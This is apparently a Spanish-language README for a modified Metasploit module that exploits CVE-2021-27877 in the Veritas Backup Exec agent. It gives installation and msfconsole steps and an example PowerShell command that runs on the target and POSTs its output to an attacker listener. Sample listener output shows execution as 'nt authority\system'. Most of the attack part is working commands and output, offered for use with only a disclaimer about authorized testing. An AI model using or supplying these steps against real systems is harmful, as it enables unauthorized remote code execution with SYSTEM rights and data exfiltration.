
Una versión modificada del módulo de Rapid7 Metasploit para CVE-2021-27877 que permite la ejecución directa de comandos para una validación fiable de vulnerabilidades. Incluye documentación que explica el flujo de trabajo del exploit, las modificaciones del módulo y ejemplos de uso.
Este repositorio contiene una versión modificada del módulo original de Rapid7 Metasploit para CVE-2021-27877 que afecta al agente Veritas Backup Exec.
Durante mis pruebas, el módulo original de Metasploit identificaba correctamente el objetivo como vulnerable, pero fallaba constantemente a la hora de establecer una sesión porque la fase de entrega del payload no tenía éxito. Sin embargo, el análisis del módulo mostró que la autenticación y la funcionalidad subyacente de ejecución de comandos funcionaban correctamente.
Para simplificar la validación de la vulnerabilidad, modifiqué el módulo para que ejecute comandos del sistema operativo proporcionados por el usuario directamente a través de la funcionalidad vulnerable de ejecución de comandos NDMP, en lugar de cargar y ejecutar un payload. Esto facilita la confirmación de la ejecución remota de código sin depender de una reverse shell o de la preparación de un payload.
Aviso: Esta prueba de concepto se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. Úsala solo contra sistemas que poseas o sobre los que tengas permiso explícito para evaluar.
Nota: Para proteger el entorno utilizado durante las pruebas, todas las direcciones IP de este repositorio han sido anonimizadas. En los ejemplos,
192.168.x.xrepresenta el host objetivo, mientras que192.168.y.yrepresenta el sistema atacante o el listener. Estas sustituciones no afectan a la funcionalidad de la prueba de concepto.
En comparación con el módulo original de Rapid7, se han realizado las siguientes modificaciones:
COMMAND.Copia el módulo modificado en el directorio de módulos locales de Metasploit.
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Inicia (o reinicia) Metasploit y recarga los módulos locales:
msfconsole
reload_all
Antes de ejecutar el módulo, inicia un listener HTTP (o cualquier servidor web capaz de recibir y mostrar peticiones HTTP POST). Este listener recibirá la salida del comando ejecutado en el objetivo.
Por ejemplo, puedes usar un sencillo servidor HTTP de Python con un manejador de peticiones personalizado, nc, o cualquier listener HTTP de tu elección.
Carga el módulo:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
Configura las opciones necesarias:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
La opción COMMAND acepta cualquier comando que desees ejecutar en el objetivo.
Este módulo está diseñado para ejecutar un único comando y no devuelve la salida del comando automáticamente.
Para obtener la salida, utiliza un mecanismo de devolución de llamada (callback) apropiado dentro de tu comando (por ejemplo, una petición HTTP POST u otro canal de salida) y supervisa tu listener.
Ejemplo de salida del listener:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system